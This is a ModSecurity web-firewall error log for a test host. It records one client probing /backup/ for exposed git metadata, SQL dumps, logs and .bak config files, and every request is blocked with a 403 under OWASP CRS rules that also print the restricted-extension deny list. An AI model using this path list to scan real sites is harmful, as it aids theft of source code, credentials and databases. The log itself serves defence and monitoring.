[Sun Mar 22 01:06:17.335757 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /backup/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/config&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFMAAAAAg&quot;]
[Sun Mar 22 01:06:17.335947 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/config&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFMAAAAAg&quot;]
[Sun Mar 22 01:06:17.336075 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/config&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFMAAAAAg&quot;]
[Sun Mar 22 01:06:17.358011 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /backup/.git/logs/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/logs/HEAD&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFMQAAAAg&quot;]
[Sun Mar 22 01:06:17.358241 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/logs/HEAD&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFMQAAAAg&quot;]
[Sun Mar 22 01:06:17.358395 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/logs/HEAD&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFMQAAAAg&quot;]
[Sun Mar 22 01:06:17.380416 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.gitignore&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.gitignore found within REQUEST_FILENAME: /backup/.gitignore&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.gitignore&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFMgAAAAg&quot;]
[Sun Mar 22 01:06:17.380620 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.gitignore&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFMgAAAAg&quot;]
[Sun Mar 22 01:06:17.380778 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.gitignore&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFMgAAAAg&quot;]
[Sun Mar 22 01:06:17.402539 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/access.log&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFMwAAAAg&quot;]
[Sun Mar 22 01:06:17.402950 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/access.log&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFMwAAAAg&quot;]
[Sun Mar 22 01:06:17.403080 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/access.log&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFMwAAAAg&quot;]
[Sun Mar 22 01:06:17.447437 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/app.js.bak&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFNQAAAAg&quot;]
[Sun Mar 22 01:06:17.447830 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/app.js.bak&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFNQAAAAg&quot;]
[Sun Mar 22 01:06:17.447962 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/app.js.bak&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFNQAAAAg&quot;]
[Sun Mar 22 01:06:17.469728 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/backup.sql&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFNgAAAAg&quot;]
[Sun Mar 22 01:06:17.470104 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/backup.sql&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFNgAAAAg&quot;]
[Sun Mar 22 01:06:17.470242 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/backup.sql&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFNgAAAAg&quot;]
[Sun Mar 22 01:06:17.604872 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/config.php.bak&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFPAAAAAg&quot;]
[Sun Mar 22 01:06:17.605260 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/config.php.bak&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFPAAAAAg&quot;]
[Sun Mar 22 01:06:17.605391 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/config.php.bak&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFPAAAAAg&quot;]
[Sun Mar 22 01:06:17.649651 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/db.sql&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFPgAAAAg&quot;]
[Sun Mar 22 01:06:17.650042 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/db.sql&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFPgAAAAg&quot;]
[Sun Mar 22 01:06:17.650193 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/db.sql&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFPgAAAAg&quot;]
[Sun Mar 22 01:06:17.694359 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/debug.log&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFQAAAAAg&quot;]
[Sun Mar 22 01:06:17.694743 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/debug.log&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFQAAAAAg&quot;]
[Sun Mar 22 01:06:17.694875 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/debug.log&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFQAAAAAg&quot;]
[Sun Mar 22 01:06:17.739006 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/dump.sql&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFQgAAAAg&quot;]
[Sun Mar 22 01:06:17.739400 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/dump.sql&quot;] [unique_id &quot;ab8yebvc1sKRk16HHKMFQgAAAAg&quot;]
